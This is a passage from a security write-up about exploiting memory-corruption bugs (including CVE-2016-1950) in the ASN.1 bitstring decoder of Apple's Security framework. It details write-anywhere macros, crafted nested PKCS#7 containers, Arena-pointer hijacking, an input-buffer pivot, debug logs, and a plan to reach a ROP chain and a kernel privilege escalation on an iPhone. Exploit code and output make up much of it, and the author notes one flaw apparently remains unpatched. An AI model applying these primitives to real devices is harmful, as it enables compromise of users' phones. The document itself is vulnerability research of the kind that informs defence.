*(uint64_t *)0x4141414141414140 = 0x4242424242424242; *(uint64_t *)0x4343434343434340 = 0x4444444444444444;

Notice the subsequent writes, and their respective Arenas, start afresh. It means D must be always zero after the first one.

The reasoning is almost identical for 32bit, we just need to find D and K. D can be found experimentally:

D = 0x7a1f18e8 ‑ 0x7a1f1810 // actual values do not matter

And then K is found with the following formula:

K = (64=offsetof(sec_asn1d_state, bit_string_unused_bits) + round8(K + 10) + 0=bit_string_unused_bits) / 8

Once we found D and K=11, we can write a similar Arena primitive:

#define MAKE_ARENA32(filler, arena_used, lower_bound, upper_bound) \ do { \

CONS_BITSTRING(10 + 11); \

REP_BITSTRING(0, 11, filler); \

\

START_BITSTRING(0, 4); \

PUSH4((11 * 8 ‑ 0 + 4) * 8 + (arena_used) + 2*4); \ \

START_BITSTRING(0, 8); \

PUSH4(upper_bound); \

PUSH4(lower_bound); \

} while (0)

#define WRITE32(clean, x) \

do { \

START_BITSTRING(0, 0); \

if (clean) { \

START_BITSTRING(7, 1); \

PUSH1(x); \

START_BITSTRING(0, 3); \

PUSH3((x) >> 8); \

} else { \

START_BITSTRING(0, 4); \

PUSH4(x); \

} \

} while (0)

allowing us to kickstart the write‑anywhere:

MAKE_ARENA32('a', 0x8e8 ‑ 0x810, 0x41414140, 0x41414140 + 16);

What we got is an extremely reliable primitive which can write constant values at constant addresses. Let's see if we can put them to good use.

‑‑ 3 ‑ Exploit techniques

We need to target some application or daemon that listens and accepts ASN.1 encoded data. So far, we have experimented on bare bitstrings, but that is extremely unlikely any real world application would ask for. We need some standard containers, such as an X.509 certificate or a PKCS#7 structure, ready to be consumed. A certificate's signature is indeed a bitstring that we can manipulate, but that renders the certificate invalid. Our exploit would need to fully achieve its goal before the certificate is validated.

For now, let's suppose our victim is a daemon that consumes PKCS#7 and extracts the certificate for later validation. It accomplishes this with a call to `SecCMSCertificatesOnlyMessageCopyCertificates`. That function can be found inside the Security framework, and it uses `SecCmsMessageDecode` to parse the incoming PKCS#7, which in turn uses `SEC_ASN1DecoderUpdate`.

‑‑ 3.0 ‑ PKCS#7

PKCS#7 stands for Cryptographic Message Syntax (aka CMS). It is a standard for storing signed and/or encrypted data, described by RFC 3369[4].

Looking at Security‑57337.20.44/OSX/libsecurity_smime/lib/cmsasn1.c, we see that we can find only one occurence of `kSecAsn1BitStringTemplate`. Recall the parser is driven by templates, so we know the ASN.1 parser will expect a bitstring wherever it hits that template. Tracing back, we get:

SecCmsOriginatorPublicKeyTemplate SecCmsOriginatorIdentifierOrKeyTemplate SecCmsKeyAgreeRecipientInfoTemplate SecCmsRecipientInfoTemplate

SecCmsEnvelopedDataTemplate NSS_PointerToCMSEnvelopedDataTemplate nss_cms_choose_content_template()

nss_cms_chooser

SecCmsMessageTemplate

SecCmsDecoderCreate()

SecCmsMessageDecode()

It looks like we need to craft an enveloped PKCS#7. However, our target expects a signed PKCS#7, which looks roughly like this:

cons: SEQUENCE

prim: OBJECT :pkcs7‑signedData

cons: cont [ 0 ]

cons: SEQUENCE

prim: INTEGER :01

cons: SET

cons: SEQUENCE

prim: OBJECT :pkcs7‑data

cons: cont [ 0 ]

<certificate>

cons: SET

But wait. We can stash an enveloped PKCS#7 instead of raw pkcs7‑data.

cons: SEQUENCE

prim: OBJECT :pkcs7‑signedData

cons: cont [ 0 ]

cons: SEQUENCE

prim: INTEGER :01

cons: SET

cons: SEQUENCE

prim: OBJECT :sha1

prim: NULL

cons: SEQUENCE

prim: OBJECT :pkcs7‑envelopedData

cons: cont [ 0 ]

prim: OCTET STRING [HEX DUMP]:<enveloped data> cons: cont [ 0 ]

<certificate>

cons: SET

The enveloped data must be a valid ASN.1 encoding, matching the templates we saw above. Roughly speaking, this is the equivalent of the following:

$ echo "Hello world" > input.txt

$ openssl ecparam ‑name secp521r1 ‑genkey ‑param_enc explicit ‑out private‑key.pem $ openssl req ‑new ‑x509 ‑key private‑key.pem ‑out server.pem ‑days 730 $ openssl cms ‑encrypt ‑binary ‑aes256 ‑in input.txt ‑outform DER ‑out encrypted.der server.pem $ openssl cms ‑inform DER ‑in encrypted.der ‑cmsout ‑print

encrypted.der looks somewhat like this:

cons: SEQUENCE

prim: INTEGER :02

cons: SET

cons: cont [ 1 ]

cons: SEQUENCE

prim: INTEGER :03

cons: cont [ 0 ]

cons: cont [ 2 ]

cons: SEQUENCE

cons: SEQUENCE

prim: OBJECT :id‑ecPublicKey

prim: BIT STRING

<more stuff>

Great! There's our bitstring. We know the inner PKCS#7 will be handled by a recursive call to `SecCmsMessageDecode`, and the error code of that parser, if any, is totally discarded. This can be observed in `nss_cms_before_data` and `nss_cms_decoder_work_data` respectively. It seems pretty good from our perspective, because we do not need to worry whether the inner ASN.1 ends abruptly and, most importantly, the recursive call to `SecCmsMessageDecode` will create fresh Arenas. Remember our D constant when invoking the first MAKE_ARENA64? Yeah, it will be unchanged between runs. It seems we can have our cake and eat it. But not just yet... Let's recap what we have so far.

We build our bitstring inside an enveloped PKCS#7, which is contained in a signed PKCS#7 allowing us to write constant values at constant addresses. All those constant values and addresses come from the input itself.

‑‑ 3.1 ‑ Building blocks

Our target daemon is running on an iPhone, listening to USB and is ready to consume the crafted PKCS#7. Back in 2016, USB restricted mode wasn't even a thing and a lot of daemons were running Before First Unlock.

The full exploit itself is beyond the scope of this article and is left as an exercise for the reader. The bug has been patched years ago, and it does not preserve any value whatsoever today, except illustrating my thought process at the time and introducing some creative ways of subverting the ASN.1 decoding machinery, as we shall see below.

The basic idea is to first leak out the shared cache slide, then build a relocated ROP strip offline, then send it back, and then finally pivot to it. A couple of guiding lines are laid below, and mock‑ups are included in the attached source code:

step1 ‑ the bruteforcer ‑ preparatory step for guessing the scratch, step2 ‑ buffer switching ‑ used for leaking out the shared cache slide, step3 ‑ the ROP pivot ‑ the actual exploit payload.

We will now mostly concentrate on step2 and step3 because they contain some interesting tricks. One major shortcoming of our MAKE_ARENA/WRITE technique is that we can only write out constant values. To extract the shared cache we must be able to write out live pointers.

While being focused on our write‑primitive we have overlooked one important aspect: the write itself is just a byproduct of what we have built so far. Before we had a write primitive, we had an allocation primitive: we could target a scratch area in memory and force allocation of state objects at known locations. A viable scratch address can be found empirically: it can be any writable area in our victim memory space that should stay relatively constant between runs. It depends on the targeted application/daemon, but in absence of a true infoleak, it's still easy to figure it out: vmmap is your best friend; also the bruteforcer may be used as a poor man's vmmap. Check out the heap, the shared cache data segment, the daemon itself, the stacks, or whatever else floats your boat.

Remember that state objects contain one pointer from the shared cache: the template itself. And while the parser is busy with our bitstring, we know the template is `kSecAsn1BitStringTemplate`, which is as good as any other pointer.

First, we cause a state object allocation at a known address. This is done by hijacking the Arena to some reasonably large unused scratch space (known a priori), right before a new state object is allocated:

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| |<‑‑‑‑‑‑‑ State object ‑‑‑‑‑‑‑‑>| |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... top theTemplate dest ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Afterwards, we punch some writes before and some writes after the pointer.

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| |<‑‑‑‑‑‑‑ State object ‑‑‑‑‑‑‑‑>| |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... top theTemplate dest ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^^^^ ^^^^^^^^

We are effectively building a bitstring around the template pointer using only constant writes to the scratch area. What should we write around the pointer? Exactly, MAKE_ARENA/WRITE contraptions.

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| |<‑‑‑‑‑‑‑ State object ‑‑‑‑‑‑‑‑>| |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... xxxxtheTemplateyyyyy ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^ ^^

| |+‑ WRITE64(theTemplate) contraption

| +‑ MAKE_ARENA64 contraption

|

+‑ start of run‑time built bitstring

This ephemeral bitstring does not even have to have a well‑formed tail. Since we are inside an enveloped content, which is parsed by a recursive `SecCmsMessageDecode` call, the error code is ignored. If we could pivot the input buffer to this scratch area, it will pick up and write the template to whatever desired location. The exploit is writing itself at run‑time, Inception‑style.

But how do we pivot the input buffer? It does not seem to be part of the state object, and to make it worse, it is kept by `SEC_ASN1DecoderUpdate` in a CPU register. Even if it was kept on the stack, targeting `buf` means we have exactly one chance. We cannot use MAKE_ARENA/WRITE(clean=0, ...) in single‑shot mode, because it exhibits +1 bleeding (there is a zeroing step which goes over the write size + 1) and will clobber the adjacent variable; and we cannot use MAKE_ARENA/WRITE(clean=1, ...) in multi‑shot mode because we risk having it accessed before it is fully pivoted.

Looking at `sec_asn1d_record_any_header` and `sec_asn1d_add_to_subitems`, we notice the CPU register holding the input buffer is saved to the stack and is reloaded before return. However, inside `sec_asn1d_add_to_subitems` there is an assignment that looks interesting:

thing = sec_asn1d_zalloc();

...

thing‑>data = data;

...

state‑>subitems_tail‑>next = thing;

The code flow disassembly is laid out below:

_SEC_ASN1DecoderUpdate:

...

MOV X0, X21

MOV X1, X20 // buf

MOV X2, X22 // len

BL _sec_asn1d_parse_leaf

...

BL _sec_asn1d_record_any_header

...

RET

_sec_asn1d_record_any_header:

...

B _sec_asn1d_add_to_subitems

_sec_asn1d_add_to_subitems:

STP X24, X23, [SP,#‑0x10+var_30]!

STP X22, X21, [SP,#0x30+var_20]

STP X20, X19, [SP,#0x30+var_10] // save buf register (x20)

STP X29, X30, [SP,#0x30+var_s0]

...

MOV X19, X0 // state

...

BL _sec_asn1d_zalloc

MOV X20, X0 // controlled alloc ‑> thing

...

LDR X8, [X19,#0x78] // x8 = state‑>subitems_head

CBZ X8, ...

LDR X8, [X19,#0x80] // x8 = state‑>subitems_tail

STR X20, [X8,#0x10] // state‑>subitems_tail‑>next = thing

STR X20, [X19,#0x80] // state‑>subitems_tail = thing

...

LDP X29, X30, [SP,#0x30+var_s0]

LDP X20, X19, [SP,#0x30+var_10] // restore buf register (x20)

LDP X22, X21, [SP,#0x30+var_20]

LDP X24, X23, [SP+0x30+var_30],#0x40

RET

We know `sec_asn1d_zalloc` can be made to return whatever address we want, because we can virtually create Arenas out of thin air. If we could point `&subitems_tail.next` towards the location of X20 on the stack, we can reload the register holding the input buffer to whatever `sec_asn1d_zalloc` returns. That is the address of the ephemeral bitstring we previously built inside the scratch area of the victim space. Remember, the scratch area can can be determined empirically and is presumed at a constant address between runs. Locating the exact stack address where X20 is held is just a matter of using vmmap and/or the bruteforcer step in creative ways. Hint: a daemon crashes and is reloaded. Go back in time and try to spot some things that remained constant.

The plan is as follows: after building the new bitstring, which is capable of writing live values, we create some more items. Recall we're slicing the scratch space hence the addresses of the ephemeral bitstring as well as the items and objects are considered known. We'll have a `SecAsn1Item` (serving as `dest`) and a subitem (serving as `subitems_head`). And then we force a hierarchy of three state objects: a grandfather object, a father object whose parent is the previous one and a child object which does the writing. The last object will smash its parent, filling in known values for: `dest`, `parent` (known value), `subitems_head`, `subitems_tail`. Taking the trip to `sec_asn1d_add_to_subitems` is just a matter of altering `state‑>place` to `duringBitString` and `state‑>underlying_kind` to `SEC_ASN1_ANY`.

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| parent ‑+ |

| v | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

smash

After smashing the secondary object, we end up with this:

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| parent ‑+ |

| v | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ^ ^

| | +‑‑ subitems_head ‑‑+

| +‑‑ dest ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| +‑‑ subitems_tail ‑‑+

| v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> stack location of saved input buf

This technique has a nasty side‑effect: after coercing `sec_asn1d_zalloc` to return the desired address, `sec_asn1d_add_to_subitems` writes that same address to itself, which means the first bytes that'll get picked up from the newly pivoted `buf` will be the most significant bytes of the address. A workaround is to have said address be `0x...23nn`. The reasoning behind this is that 0x23 would be confused with a useless constructed bitstring allowing us to skip the MSB of the address and get out of the danger zone as quickly as possible. This should not be a major constraint, since the scratch area should be larger than 16kB anyway. Because of how things add up in the decoder, and working the arithmetic backwards, this imposes a constraint on our scratch buffer to be located at `0x...20nn`. step2 shows how this is accomplished (though you may need to fix STACK_RBP_RELATIVE to match your library/framework).

sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 0 = 0x10b5722e8, "6666666666666666", 19) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (19) to 148, unused=0x4

STATE transition ...

sec_asn1d_parse_leaf: len=547, @479

sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 148 = 0x10b57237c, "540", 4) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (152) to 18446744073709551488, unused=0x540 STATE transition ...

sec_asn1d_parse_leaf: len=540, @486

sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 18446744073709551488 = 0x10b572268, "10b5720c0", 120) sec_asn1d_parse_leaf: pre‑existing value = 0x7fab5e801868 STATE transition ...

sec_asn1d_add_to_subitems:1880: zalloc(24) ‑> 0x10b572398 in arena o_pool/0x0 (left ‑1) sec_asn1d_add_to_subitems:1890: alloc(1) ‑> 0x10b5723b0 in arena o_pool/0x0 (left 18446744073709551615) adding to subitems_tail: 0x10b572258::0x7ffee4729138(0x7ffee4729148) <= 0x10b572398 <‑‑ [E] new ARENA ‑> o_pool/0x7fab5e805020 of size 2087 sec_asn1d_add_to_subitems:1880: zalloc(24) ‑> 0x7fab5e805020 in arena o_pool/0x7fab5e805020 (left 2031) sec_asn1d_add_to_subitems:1890: alloc(1) ‑> 0x7fab5e805038 in arena o_pool/0x7fab5e805020 (left 2023) adding to subitems_tail: 0x10b572258::0x10b572398(0x10b5723a8) <= 0x7fab5e805020 sec_asn1d_prepare_for_contents:1458: zalloc(35) ‑> 0x7fab5e805040 in arena o_pool/0x7fab5e805020 (left 1983) sec_asn1d_parse_leaf: len=418, @18446603704184794972 sec_asn1d_parse_leaf: memcpy(0x7fab5e805040 + 0 = 0x7fab5e805040, "1000000010b57", 35) sec_asn1d_parse_leaf: pre‑existing value = 0x0

STATE transition ...

sec_asn1d_prepare_for_contents:1458: zalloc(29) ‑> 0x7fab5e805068 in arena o_pool/0x7fab5e805020 (left 1951) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fab5e805088 in arena o_pool/0x7fab5e805020 (left 1807) STATE transition ...

sec_asn1d_parse_leaf: len=375, @18446603704184795015 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 0 = 0x7fab5e805068, "7878787878787878", 19) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (19) to 148, unused=0x4

STATE transition ...

sec_asn1d_parse_leaf: len=353, @18446603704184795037 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 148 = 0x7fab5e8050fc, "518", 4) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (152) to 18446744073709551528, unused=0x518 STATE transition ...

sec_asn1d_parse_leaf: len=346, @18446603704184795044 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 18446744073709551528 = 0x7fab5e805010, "10b572611", 16) sec_asn1d_parse_leaf: pre‑existing value = 0x7fab5e805827 adjusting item‑>len (18446744073709551544) to 18446744073709551040, unused=0x0 STATE transition ...

sec_asn1d_prepare_for_contents:1458: zalloc(9) ‑> 0x10b572601 in arena o_pool/0x0 (left ‑1) sec_asn1d_parse_leaf: len=324, @18446603704184795066 sec_asn1d_parse_leaf: memcpy(0x10b572601 + 0 = 0x10b572601, "10b503510", 8)

In case you missed it, the buffer was switched at [E] in the previous log. As convoluted as it is, this method allows us to pivot from a static buffer to a dynamically constructed one, capable of writing shared cache pointers to any location that would help us leak the shared cache slide outside and build the ROP strip as shown next, in step3.

We notice there is one particular callback that gets called during parsing: `state‑>top‑>filter_proc(state‑>top‑>filter_arg)`. It looks powerful enough to pivot to a ROP strip. Let's revise the `state‑>top` structure:

typedef struct sec_DecoderContext_struct {

PRArenaPool *our_pool;

PRArenaPool *their_pool;

void *their_mark;

sec_asn1d_state *current;

sec_asn1d_parse_status status;

SEC_ASN1NotifyProc notify_proc;

void *notify_arg;

PRBool during_notify;

SEC_ASN1WriteProc filter_proc;

void *filter_arg;

PRBool filter_only;

} SEC_ASN1DecoderContext;

We plan on creating a fake `SEC_ASN1DecoderContext`, fill in `filter_proc` with a pivot gadget, then fill in `filter_arg` with the address of the ROP strip. We are only interested in `filter_proc` and `filter_arg`, everything else can be ignored because the ROP strip is not supposed to ever return. After that, we cause another state object allocation and point its `top` to our fake `SEC_ASN1DecoderContext`.

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SCRATCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑top ‑+ |

| v |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... ROP strip ... SEC_ASN1DecoderContext TEMP STATE TEMP STATE ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^ | |

| filter_proc (pivot) <‑+ | +‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑ filter_arg ‑‑‑‑‑‑‑‑‑‑‑‑‑+ change top

We can use our write primitive to lay down the ROP strip and an incomplete `SEC_ASN1DecoderContext` inside the scratch area. Then we trigger a couple of object allocations so that one object can smash its parent `top`. This is illustrated in step3.

Once we have the ROP running, we can use a kernel LPE. A good candidate is CVE‑2016‑4656[5] + CVE‑2016‑4655[6] pair, which can be triggered from ROP easily.

‑‑ 4 ‑ Fast forward

Five years later I decide to do this write‑up, trying hard to remember some details of the ancient exploit; I begin tinkering with the mock‑ups and the old library. I realise there were two bugs, not one, and I decide to check out the latest and greatest source tarball: Security‑59754.80.3, as of this writing. Yep, still there.

Sadly, the fix for CVE‑2016‑1950 not only eliminated the bit/byte confusion but also introduced new safety checks so that `data‑>Length` could not wrap around. It meant we cannot reach the Arena structure by going backwards in memory.

I wept.

And then I got completely black out drunk, though for completely unrelated reasons. It was a fun night. But I digress...

‑‑ 4.0 ‑ Rolling the dice

Ignoring my terrible hangover, let's revisit the other bug, the logic flaw: when the parser encounters an empty bitstring, `sec_asn1d_parse_bit_string` takes a shortcut and then, later in `sec_asn1d_prepare_for_contents`, the item is re‑allocated with the wrong size. Please revisit section 2.2 for a refresh.

Right, it allocates the buffer anew but this time in `our_pool`, sized for `state‑>contents_length` which ‑‑ in case of constructed bitstrings ‑‑ will be for the next component only. Anything that gets allocated after that point will be smashed by subsequent bitstrings. Armed with what we learned so far, a trigger is trivial. We smash a state object to cause an immediate crash:

CONS_BITSTRING(len);

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'a');

REP_BITSTRING(0, 8 + 144 ‑ 5, 'b'); CONS_BITSTRING(3 + 8);

REP_BITSTRING(0, 8, 'c');

if (len) {

START_BITSTRING(0, 0);

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

The 'a' part allocates 8 bytes, followed by a state object (144 bytes). The first memcpy covered 5 bytes, so the next memcpy needs to cover 8 + 144 ‑ 5 bytes. The 'b' part leaves the dest pointer dangling over the upcoming next state object and then the 'c' part would smash the 'top' pointer resulting in a reliable crasher.

sec_asn1d_prepare_for_contents: zalloc(8) ‑> 0x7ff006008dd0 in arena o_pool/0x7ff006008c20 (left 1615) sec_asn1d_push_state: zalloc(144) ‑> 0x7ff006008dd8 in arena o_pool/0x7ff006008c20 (left 1471) STATE transition 0x7ff006008d40 ‑> 0x7ff006008dd8 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 0 = 0x7ff006008dd0, "61616161", 5) sec_asn1d_parse_leaf: pre‑existing value = 0x0

STATE transition 0x7ff006008dd8 ‑> 0x7ff006008d40

STATE transition 0x7ff006008d40 ‑> 0x7ff006008cb0

STATE transition 0x7ff006008cb0 ‑> 0x7ff006008d40 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 5 = 0x7ff006008dd5, "6262626262626262", 147) sec_asn1d_parse_leaf: pre‑existing value = 0xf006006a20000000 STATE transition 0x7ff006008d40 ‑> 0x7ff006008cb0

STATE transition 0x7ff006008cb0 ‑> 0x7ff006008d40 sec_asn1d_push_state: zalloc(144) ‑> 0x7ff006008e68 in arena o_pool/0x7ff006008c20 (left 1327) STATE transition 0x7ff006008d40 ‑> 0x7ff006008e68 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 152 = 0x7ff006008e68, "6363636363636363", 8) sec_asn1d_parse_leaf: pre‑existing value = 0x7ff006006a20 <CRASH>

This doesn't seem very exploitable, especially since `dest` is allocated somewhere in `their_pool`, the state objects are allocated in `our_pool` and we cannot touch the Arenas anymore. Or can we?

After studying the allocation pattern, we notice something which manifests in a consistent manner after the 'b' segment:

state = 0x7fe18b80d068 top = 0x7fe18b803420 dest = 0x7fe18b803e68 state = 0x7fb3ad009268 top = 0x7fb3ad006e20 dest = 0x7fb3ad008a68 state = 0x7f9798809268 top = 0x7f9798806e20 dest = 0x7f9798808a68 state = 0x7fad49009268 top = 0x7fad49006e20 dest = 0x7fad49008a68 state = 0x7fb12880fa68 top = 0x7fb12880dc20 dest = 0x7fb12880be68 state = 0x7fe8a5809268 top = 0x7fe8a5806e20 dest = 0x7fe8a5808a68 state = 0x7fe1d4009268 top = 0x7fe1d4006e20 dest = 0x7fe1d4008a68 state = 0x7fb212809268 top = 0x7fb212806e20 dest = 0x7fb212808a68 state = 0x7fe7ca804668 top = 0x7fe7ca802220 dest = 0x7fe7ca803e68 state = 0x7fa123810068 top = 0x7fa12380dc20 dest = 0x7fa12380f868 state = 0x7fa1cc809268 top = 0x7fa1cc806e20 dest = 0x7fa1cc808a68 state = 0x7fc288009268 top = 0x7fc288006e20 dest = 0x7fc288008a68 state = 0x7fd054809268 top = 0x7fd054806e20 dest = 0x7fd054808a68 state = 0x7fa36a80f068 top = 0x7fa36a80cc20 dest = 0x7fa36a80e868 state = 0x7fdd63009268 top = 0x7fdd63006e20 dest = 0x7fdd63008a68 state = 0x7fd63b810068 top = 0x7fd63b80dc20 dest = 0x7fd63b80f868 state = 0x7fee16809268 top = 0x7fee16806e20 dest = 0x7fee16808a68 state = 0x7fd1a880da68 top = 0x7fd1a880bc20 dest = 0x7fd1a8803e68 state = 0x7ff7cf809268 top = 0x7ff7cf806e20 dest = 0x7ff7cf808a68 state = 0x7fdf82005068 top = 0x7fdf82002c20 dest = 0x7fdf82004868 ...

With rather decent probability, we observe a repeating pattern of state/top pair: 9268/6e20. These addresses are for illustrative purposes, the real allocation pattern of the victim daemon we are attacking must be determined empirically, by whatever means. It's not the addresses themselves that are important, but rather the LSB of those addresses. Again, the state object is always at a constant distance from the start of the Arena and `dest` seems to be in 0xFFFF range. We could arrange the memory layout like this:

|<‑‑‑‑‑state object ‑‑‑‑‑>|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... [&Arena.limit ‑ top] top, template, dest, ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

|<‑‑‑‑ SecAsn1Item ‑‑‑‑>|

^ |

+‑‑ to the Arena ‑‑‑+

Since `state‑>dest` lies in close proximity of the state object, we can use a partial write to reroute it to &state ‑ 8, and then smash the Arena:

const unsigned FILLER_LEN = 8 + 144 ‑ 5;

const unsigned long long LAST_STATE = 0x7fca4b809268; const unsigned long long CURRENT_TOP = 0x7fca4b806e20; const unsigned long long ARENA_LIMIT = LAST_STATE ‑ 0x258; // fixed

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'a');

// leave the pointer dangling over 'dest'

START_BITSTRING(0, FILLER_LEN + 2 * 8); PUSHR(FILLER_LEN ‑ 8, 'b');

// place this right below 'top'

PUSH8((ARENA_LIMIT ‑ CURRENT_TOP) << 3);

PUSHR(2 * 8, 'b'); // skip past 'top' and 'theTemplate'

// reroute 'dest' to LAST_STATE ‑ 8 and smash the Arena

CONS_BITSTRING(3 + 2 + 3 + 16);

// 'dest' ‑> { ARENA_LIMIT ‑ CURRENT_TOP, CURRENT_TOP }

START_BITSTRING(0, 2);

PUSH2(LAST_STATE ‑ 8); // partial write

// rewrite the Arena

START_BITSTRING(0, 16); PUSH8(0x4141414141414150); // limit

PUSH8(0x4141414141414140); // avail

|<‑‑‑‑‑state object ‑‑‑‑‑>|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... [&Arena.limit ‑ top] top, template, dest ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

|<‑‑‑‑ SecAsn1Item ‑‑‑‑>|<‑‑‑‑‑‑‑‑‑‑‑+

^ |

+‑‑ to the Arena ‑‑‑+

...

sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 5 = 0x7fe4190091d5, "6262626262626262", 163) sec_asn1d_parse_leaf: pre‑existing value = 0xe419006e20000000 STATE transition 0x7fe419009140 ‑> 0x7fe4190090b0

STATE transition 0x7fe4190090b0 ‑> 0x7fe419009140 sec_asn1d_push_state:430: zalloc(144) ‑> 0x7fe419009268 in arena o_pool/0x7fe419009020 (left 1327) STATE transition 0x7fe419009140 ‑> 0x7fe419009268

state = 0x7fe419009268

top = 0x7fe419006e20

theTemplate = 0x1001792e0

dest = 0x7fe419008a68

our_mark = 0x0

parent = 0x7fe419009140

contents_length = 3

pending = 2

consumed = 3

depth = 9

allocate = 0

indefinite = 0

sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 168 = 0x7fe419009278, "9260", 2) sec_asn1d_parse_leaf: pre‑existing value = 0x7fe419008a68 STATE transition 0x7fe419009268 ‑> 0x7fe419009140

STATE transition 0x7fe419009140 ‑> 0x7fe419009268

state = 0x7fe419009268

top = 0x7fe419006e20

theTemplate = 0x1001792e0

dest = 0x7fe419009260

our_mark = 0x0

parent = 0x7fe419009140

contents_length = 17

pending = 16

consumed = 3

depth = 9

allocate = 0

indefinite = 0

sec_asn1d_parse_leaf: memcpy(0x7fe419006e20 + 8688 = 0x7fe419009010, "4141414141414150", 16) sec_asn1d_parse_leaf: pre‑existing value = 0x7fe419009827 ...

In effect, this means we are replacing Arena `limit/avail` with whatever memory range we want, and then any further allocations will happen there. We can again resort to a scratch area which will become our allocation playground.

This approach of hijacking the Arena is probabilistic. Synthetic benchmarks showed pretty good success rate ‑‑ around 30‑40% ‑‑ so it may be that in a real world scenario that would be somewhere up to 20%. Not exactly bad, but not very good either. Debugging will be a royal pain in the ass but that's not even terribly important; the success rate will be reduced even further by whatever assumptions we may have to make down the road.

The hangover was still raging the day after the next one. I'll never drink again! (that's probably a lie)

‑‑ 4.1 ‑ Dance, little bunny!

The less‑than‑stellar success rate is kinda bothersome, let's see if we can do better. We have two pools of Arenas: `their_pool` and `our_pool`. The former holds destination structures (aka `dest`) and the final values of the parsing process (the reassembled bitstring from its constituents). The latter holds intermediate values (eg: substrings) and state objects.

